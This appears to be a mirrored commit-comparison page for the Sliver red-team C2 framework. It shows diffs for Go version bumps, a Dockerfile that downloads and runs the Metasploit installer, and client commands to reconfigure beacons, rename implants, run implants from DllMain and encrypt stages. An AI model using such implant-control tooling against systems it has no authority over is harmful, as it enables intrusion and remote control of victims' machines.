mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 08:04:14 -10:00
Compare commits
78
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
1073dedf10 | ||
|
|
59c642143d | ||
|
|
8f01ab216d | ||
|
|
062f89e768 | ||
|
|
03b470aec7 | ||
|
|
a74d6f6250 | ||
|
|
4f62f16a1d | ||
|
|
d4ec2203cb | ||
|
|
8309e7af14 | ||
|
|
68a270581f | ||
|
|
5e222411c8 | ||
|
|
727a40bc35 | ||
|
|
2038fbcfa3 | ||
|
|
9a5a3d161a | ||
|
|
4b4e7c82f2 | ||
|
|
2844ef91d3 | ||
|
|
cffbae3da7 | ||
|
|
35fa3c95b8 | ||
|
|
53afb01366 | ||
|
|
33401dcd18 | ||
|
|
f4fcbd9cdf | ||
|
|
3c864311fa | ||
|
|
6db7c42d47 | ||
|
|
004047308f | ||
|
|
ca0fd1e7be | ||
|
|
204f013c5d | ||
|
|
ac33916348 | ||
|
|
75b96fbc29 | ||
|
|
07bfb1735e | ||
|
|
ea20b344ce | ||
|
|
98c1ac9547 | ||
|
|
439c88ce78 | ||
|
|
461aa255ca | ||
|
|
076e34dd02 | ||
|
|
ae517d1d34 | ||
|
|
d34541a3d4 | ||
|
|
db7adc172d | ||
|
|
2f520931f8 | ||
|
|
707ce345c7 | ||
|
|
fcae20f92a | ||
|
|
d09c1fd086 | ||
|
|
98f510abf4 | ||
|
|
f2aa7b45c8 | ||
|
|
01a0bfc9cf | ||
|
|
0cef6749b5 | ||
|
|
2b286ae3cf | ||
|
|
ee7d36dfed | ||
|
|
7d793841f9 | ||
|
|
fc61b82de2 | ||
|
|
c91c724912 | ||
|
|
46d81fefa1 | ||
|
|
23da56f5f9 | ||
|
|
4a8397374e | ||
|
|
359224a43e | ||
|
|
8a2d087039 | ||
|
|
aa50e9c874 | ||
|
|
646ef4273a | ||
|
|
34738d2337 | ||
|
|
de31135fa5 | ||
|
|
8bc39cc231 | ||
|
|
f71a066ffc | ||
|
|
4b2b80b2f8 | ||
|
|
41669ed41f | ||
|
|
cdfee6510e | ||
|
|
3826ca851e | ||
|
|
d2d7637b7d | ||
|
|
e907878674 | ||
|
|
21b7842bbf | ||
|
|
b1ad4ada9e | ||
|
|
cf0b9766f7 | ||
|
|
c4b096f867 | ||
|
|
295c7cb5a0 | ||
|
|
6d8d80970e | ||
|
|
925e5dfee7 | ||
|
|
1885dc5ee3 | ||
|
|
1f694bda41 | ||
|
|
53a35e4727 | ||
|
|
082dd94ea5 |
No files matched your search
@@ -14,10 +14,10 @@ jobs:
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
|
||||
- name: Go 1.17
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.17'
|
||||
go-version: '^1.18'
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
@@ -65,10 +65,10 @@ jobs:
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
|
||||
- name: Go 1.17
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.17'
|
||||
go-version: '^1.18'
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
@@ -17,10 +17,10 @@ jobs:
|
||||
|
||||
steps:
|
||||
# Setup go environment
|
||||
- name: Go 1.17
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: "^1.17"
|
||||
go-version: "^1.18"
|
||||
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v2
|
||||
|
||||
@@ -6,6 +6,11 @@ on:
|
||||
pull_request:
|
||||
branches:
|
||||
- master
|
||||
types:
|
||||
- opened
|
||||
- reopened
|
||||
- synchronize
|
||||
- ready_for_review
|
||||
|
||||
jobs:
|
||||
|
||||
@@ -15,10 +20,10 @@ jobs:
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
|
||||
- name: Go 1.17
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.17'
|
||||
go-version: '^1.18'
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
@@ -50,10 +55,10 @@ jobs:
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
|
||||
- name: Go 1.17
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.17'
|
||||
go-version: '^1.18'
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
+16
-16
@@ -1,4 +1,4 @@
|
||||
FROM golang:1.17.6
|
||||
FROM golang:1.18
|
||||
|
||||
#
|
||||
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
|
||||
@@ -6,22 +6,22 @@ FROM golang:1.17.6
|
||||
# a Docker deployment this is probably a good place to start.
|
||||
#
|
||||
|
||||
ENV PROTOC_VER 3.17.1
|
||||
ENV PROTOC_GEN_GO_VER v1.26.0
|
||||
ENV GRPC_GO v1.1.0
|
||||
ENV PROTOC_VER 3.19.4
|
||||
ENV PROTOC_GEN_GO_VER v1.27.1
|
||||
ENV GRPC_GO v1.2.0
|
||||
|
||||
# Base packages
|
||||
RUN apt-get update --fix-missing && apt-get -y install \
|
||||
git build-essential zlib1g zlib1g-dev \
|
||||
libxml2 libxml2-dev libxslt-dev locate curl \
|
||||
libreadline6-dev libcurl4-openssl-dev git-core \
|
||||
libssl-dev libyaml-dev openssl autoconf libtool \
|
||||
ncurses-dev bison curl wget xsel postgresql \
|
||||
postgresql-contrib postgresql-client libpq-dev \
|
||||
libapr1 libaprutil1 libsvn1 \
|
||||
libpcap-dev libsqlite3-dev libgmp3-dev \
|
||||
zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
|
||||
nasm gcc-multilib
|
||||
git build-essential zlib1g zlib1g-dev \
|
||||
libxml2 libxml2-dev libxslt-dev locate curl \
|
||||
libreadline6-dev libcurl4-openssl-dev git-core \
|
||||
libssl-dev libyaml-dev openssl autoconf libtool \
|
||||
ncurses-dev bison curl wget xsel postgresql \
|
||||
postgresql-contrib postgresql-client libpq-dev \
|
||||
libapr1 libaprutil1 libsvn1 \
|
||||
libpcap-dev libsqlite3-dev libgmp3-dev \
|
||||
zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
|
||||
nasm gcc-multilib
|
||||
|
||||
#
|
||||
# > User
|
||||
@@ -33,8 +33,8 @@ RUN mkdir -p /home/sliver/ && chown -R sliver:sliver /home/sliver
|
||||
# > Metasploit
|
||||
#
|
||||
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
|
||||
&& chmod 755 msfinstall \
|
||||
&& ./msfinstall
|
||||
&& chmod 755 msfinstall \
|
||||
&& ./msfinstall
|
||||
RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
|
||||
&& su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
|
||||
|
||||
|
||||
@@ -23,16 +23,16 @@ GO_VERSION = $(shell $(GO) version)
|
||||
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
|
||||
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
|
||||
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
|
||||
MIN_SUPPORTED_GO_MINOR_VERSION = 17
|
||||
MIN_SUPPORTED_GO_MINOR_VERSION = 18
|
||||
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
|
||||
|
||||
VERSION ?= $(shell git describe --abbrev=0)
|
||||
COMPILED_AT = $(shell date +%s)
|
||||
RELEASES_URL = https://api.github.com/repos/BishopFox/sliver/releases
|
||||
CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
|
||||
ARMORY_PUB_KEY = RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
|
||||
ARMORY_REPO_URL = https://api.github.com/repos/sliverarmory/armory/releases
|
||||
RELEASES_URL ?= https://api.github.com/repos/BishopFox/sliver/releases
|
||||
ARMORY_PUB_KEY ?= RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
|
||||
ARMORY_REPO_URL ?= https://api.github.com/repos/sliverarmory/armory/releases
|
||||
VERSION_PKG = github.com/bishopfox/sliver/client/version
|
||||
CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
|
||||
|
||||
GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
|
||||
GIT_COMMIT = $(shell git rev-parse HEAD)
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
Sliver
|
||||
======
|
||||
|
||||
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary encryption keys.
|
||||
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary asymmetric encryption keys.
|
||||
|
||||
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
|
||||
|
||||
@@ -40,6 +40,10 @@ Please checkout the [wiki](https://github.com/BishopFox/sliver/wiki), or start a
|
||||
|
||||
See the [wiki](https://github.com/BishopFox/sliver/wiki/Compile-From-Source).
|
||||
|
||||
### Feedback
|
||||
|
||||
Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58C6)
|
||||
|
||||
### License - GPLv3
|
||||
|
||||
Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
|
||||
|
||||
@@ -158,12 +158,13 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
|
||||
}
|
||||
|
||||
helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
|
||||
helpMsg += "\n\n⚠️ If you're having issues passing arguments to the alias please read:\n"
|
||||
helpMsg += "https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing"
|
||||
longHelpMsg := help.FormatHelpTmpl(aliasManifest.LongHelp)
|
||||
longHelpMsg += "\n\n⚠️ If you're having issues passing arguments to the alias please read:\n"
|
||||
longHelpMsg += "https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing"
|
||||
addAliasCmd := &grumble.Command{
|
||||
Name: aliasManifest.CommandName,
|
||||
Help: helpMsg,
|
||||
LongHelp: help.FormatHelpTmpl(aliasManifest.LongHelp),
|
||||
LongHelp: longHelpMsg,
|
||||
Run: func(extCtx *grumble.Context) error {
|
||||
con.Println()
|
||||
runAliasCommand(extCtx, con)
|
||||
|
||||
@@ -315,9 +315,26 @@ func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClien
|
||||
{Name: "Name", Mode: table.Asc},
|
||||
})
|
||||
for _, bundle := range bundles {
|
||||
if len(bundle.Packages) < 1 {
|
||||
continue
|
||||
}
|
||||
packages := bundle.Packages[0]
|
||||
if 1 < len(packages) {
|
||||
packages += ", "
|
||||
}
|
||||
for index, pkgName := range bundle.Packages[1:] {
|
||||
if index%5 == 4 {
|
||||
packages += pkgName + "\n"
|
||||
} else {
|
||||
packages += pkgName
|
||||
if index != len(bundle.Packages)-2 {
|
||||
packages += ", "
|
||||
}
|
||||
}
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
bundle.Name,
|
||||
strings.Join(bundle.Packages, ", "),
|
||||
packages,
|
||||
})
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
|
||||
@@ -30,6 +30,7 @@ import (
|
||||
"net/url"
|
||||
"path"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
@@ -416,6 +417,7 @@ func githubLatestTagParser(armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConf
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("http get failed armory pkg url '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
defer latestRedirect.Body.Close()
|
||||
if latestRedirect.StatusCode != http.StatusFound {
|
||||
return "", fmt.Errorf("unexpected response status (wanted 302) '%s': %s", armoryPkg.RepoURL, latestRedirect.Status)
|
||||
}
|
||||
@@ -455,9 +457,8 @@ func httpClient(config ArmoryHTTPConfig) *http.Client {
|
||||
Dial: (&net.Dialer{
|
||||
Timeout: config.Timeout,
|
||||
}).Dial,
|
||||
|
||||
Proxy: http.ProxyURL(config.ProxyURL),
|
||||
|
||||
IdleConnTimeout: time.Millisecond,
|
||||
Proxy: http.ProxyURL(config.ProxyURL),
|
||||
TLSHandshakeTimeout: config.Timeout,
|
||||
TLSClientConfig: &tls.Config{
|
||||
InsecureSkipVerify: config.DisableTLSValidation,
|
||||
|
||||
@@ -46,7 +46,7 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
err = kill.KillBeacon(beacon, false, con)
|
||||
err = kill.KillBeacon(beacon, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -62,7 +62,7 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
for _, beacon := range beacons.Beacons {
|
||||
err = kill.KillBeacon(beacon, true, con)
|
||||
err = kill.KillBeacon(beacon, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -148,7 +148,7 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
|
||||
fmt.Sprintf(color+"%s ago"+console.Normal, time.Since(time.Unix(beacon.LastCheckin, 0))),
|
||||
next,
|
||||
@@ -158,7 +158,7 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
|
||||
fmt.Sprintf(color+"%s ago"+console.Normal, time.Since(time.Unix(beacon.LastCheckin, 0))),
|
||||
next,
|
||||
|
||||
+73
-21
@@ -63,6 +63,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/privilege"
|
||||
"github.com/bishopfox/sliver/client/command/processes"
|
||||
"github.com/bishopfox/sliver/client/command/reaction"
|
||||
"github.com/bishopfox/sliver/client/command/reconfig"
|
||||
"github.com/bishopfox/sliver/client/command/registry"
|
||||
"github.com/bishopfox/sliver/client/command/screenshot"
|
||||
"github.com/bishopfox/sliver/client/command/sessions"
|
||||
@@ -475,6 +476,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("c", "cert", "", "path to PEM encoded certificate file (HTTPS only)")
|
||||
f.String("k", "key", "", "path to PEM encoded private key file (HTTPS only)")
|
||||
f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate (HTTPS only)")
|
||||
f.StringL("aes-encrypt-key", "", "encrypt stage with AES encryption key")
|
||||
f.StringL("aes-encrypt-iv", "", "encrypt stage with AES encyption iv")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
@@ -503,6 +506,47 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
HelpGroup: consts.MultiplayerHelpGroup,
|
||||
})
|
||||
|
||||
// [ Reconfig ] ---------------------------------------------------------------
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.ReconfigStr,
|
||||
Help: "Reconfigure the active beacon/session",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ReconfigStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("n", "name", "", "change implant name to")
|
||||
f.String("r", "reconnect-interval", "", "reconnect interval for implant")
|
||||
f.String("i", "beacon-interval", "", "beacon callback interval")
|
||||
f.String("j", "beacon-jitter", "", "beacon callback jitter (random up to)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
reconfig.ReconfigCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.RenameStr,
|
||||
Help: "Rename the active beacon/session",
|
||||
LongHelp: help.GetHelpFor([]string{consts.RenameStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("n", "name", "", "change implant name to")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
reconfig.RenameCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
// [ Sessions ] --------------------------------------------------------------
|
||||
|
||||
sessionsCmd := &grumble.Command{
|
||||
@@ -514,6 +558,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("k", "kill", "", "kill the designated session")
|
||||
f.Bool("K", "kill-all", false, "kill all the sessions")
|
||||
f.Bool("C", "clean", false, "clean out any sessions marked as [DEAD]")
|
||||
f.Bool("f", "force", false, "force session action without waiting for results")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -530,7 +575,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Help: "Kill all stale/dead sessions",
|
||||
LongHelp: help.GetHelpFor([]string{consts.SessionsStr, consts.PruneStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
|
||||
f.Bool("f", "force", false, "Force the killing of stale/dead sessions")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
@@ -543,26 +588,6 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
})
|
||||
con.App.AddCommand(sessionsCmd)
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.ReconfigStr,
|
||||
Help: "Reconfigure the active session",
|
||||
LongHelp: help.GetHelpFor([]string{consts.SessionsStr, consts.ReconfigStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("n", "name", "", "agent name to change to")
|
||||
f.Int("r", "reconnect", -1, "reconnect interval for agent")
|
||||
f.Int("p", "poll", -1, "poll interval for agent")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
sessions.SessionsReconfigCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.BackgroundStr,
|
||||
Help: "Background an active session",
|
||||
@@ -1223,6 +1248,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
|
||||
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
|
||||
|
||||
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
|
||||
|
||||
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
|
||||
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
|
||||
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
|
||||
@@ -1277,6 +1304,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
|
||||
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
|
||||
|
||||
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
|
||||
|
||||
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
|
||||
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
|
||||
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
|
||||
@@ -1425,6 +1454,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
|
||||
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
|
||||
|
||||
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
|
||||
|
||||
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
|
||||
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
|
||||
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
|
||||
@@ -1484,6 +1515,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
|
||||
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
|
||||
|
||||
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
|
||||
|
||||
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
|
||||
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
|
||||
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
|
||||
@@ -1598,6 +1631,24 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
|
||||
// [ Filesystem ] ---------------------------------------------
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.MvStr,
|
||||
Help: "Move or rename a file",
|
||||
LongHelp: help.GetHelpFor([]string{consts.MvStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("src", "path to source file")
|
||||
a.String("dst", "path to dest file")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
err := filesystem.MvCmd(ctx, con)
|
||||
return err
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.LsStr,
|
||||
Help: "List current directory",
|
||||
@@ -2113,6 +2164,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("k", "kill", "", "kill a beacon")
|
||||
f.Bool("K", "kill-all", false, "kill all beacons")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.Bool("f", "force", false, "force killing of the beacon")
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
|
||||
@@ -31,6 +31,7 @@ import (
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
@@ -58,6 +59,7 @@ type ExtensionManifest struct {
|
||||
OriginalAuthor string `json:"original_author"`
|
||||
RepoURL string `json:"repo_url"`
|
||||
Help string `json:"help"`
|
||||
LongHelp string `json:"long_help"`
|
||||
Files []*extensionFile `json:"files"`
|
||||
Arguments []*extensionArgument `json:"arguments"`
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
@@ -171,8 +173,9 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
|
||||
loadedExtensions[extCmd.CommandName] = extCmd
|
||||
helpMsg := extCmd.Help
|
||||
extensionCmd := &grumble.Command{
|
||||
Name: extCmd.CommandName,
|
||||
Help: helpMsg,
|
||||
Name: extCmd.CommandName,
|
||||
Help: helpMsg,
|
||||
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
|
||||
Run: func(extCtx *grumble.Context) error {
|
||||
con.Println()
|
||||
runExtensionCmd(extCtx, con)
|
||||
@@ -192,12 +195,15 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
|
||||
defaultValue grumble.ArgOption
|
||||
)
|
||||
switch arg.Type {
|
||||
case "int", "short":
|
||||
case "int", "integer", "short":
|
||||
argFunc = a.Int
|
||||
defaultValue = grumble.Default(0)
|
||||
case "string", "wstring", "file":
|
||||
argFunc = a.String
|
||||
defaultValue = grumble.Default("")
|
||||
default:
|
||||
con.PrintErrorf("Invalid argument type: %s\n", arg.Type)
|
||||
return
|
||||
}
|
||||
if arg.Optional {
|
||||
argFunc(arg.Name, arg.Desc, defaultValue)
|
||||
@@ -420,6 +426,8 @@ func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([
|
||||
// Parse BOF arguments from grumble
|
||||
for _, arg := range ext.Arguments {
|
||||
switch arg.Type {
|
||||
case "integer":
|
||||
fallthrough
|
||||
case "int":
|
||||
val := ctx.Args.Int(arg.Name)
|
||||
err = argsBuffer.AddInt(uint32(val))
|
||||
|
||||
@@ -0,0 +1,84 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func MvCmd(ctx *grumble.Context, con *console.SliverConsoleClient) (err error) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
src := ctx.Args.String("src")
|
||||
if src == "" {
|
||||
con.PrintErrorf("Missing parameter: src\n")
|
||||
return
|
||||
}
|
||||
|
||||
dst := ctx.Args.String("dst")
|
||||
if dst == "" {
|
||||
con.PrintErrorf("Missing parameter: dst\n")
|
||||
return
|
||||
}
|
||||
|
||||
mv, err := con.Rpc.Mv(context.Background(), &sliverpb.MvReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Src: src,
|
||||
Dst: dst,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
mv.Src, mv.Dst = src, dst
|
||||
|
||||
if mv.Response != nil && mv.Response.Async {
|
||||
con.AddBeaconCallback(mv.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, mv)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
})
|
||||
con.PrintAsyncResponse(mv.Response)
|
||||
} else {
|
||||
PrintMv(mv, con)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// PrintMv - Print the renamed file
|
||||
func PrintMv(mv *sliverpb.Mv, con *console.SliverConsoleClient) {
|
||||
if mv.Response != nil && mv.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", mv.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("%s > %s\n", mv.Src, mv.Dst)
|
||||
}
|
||||
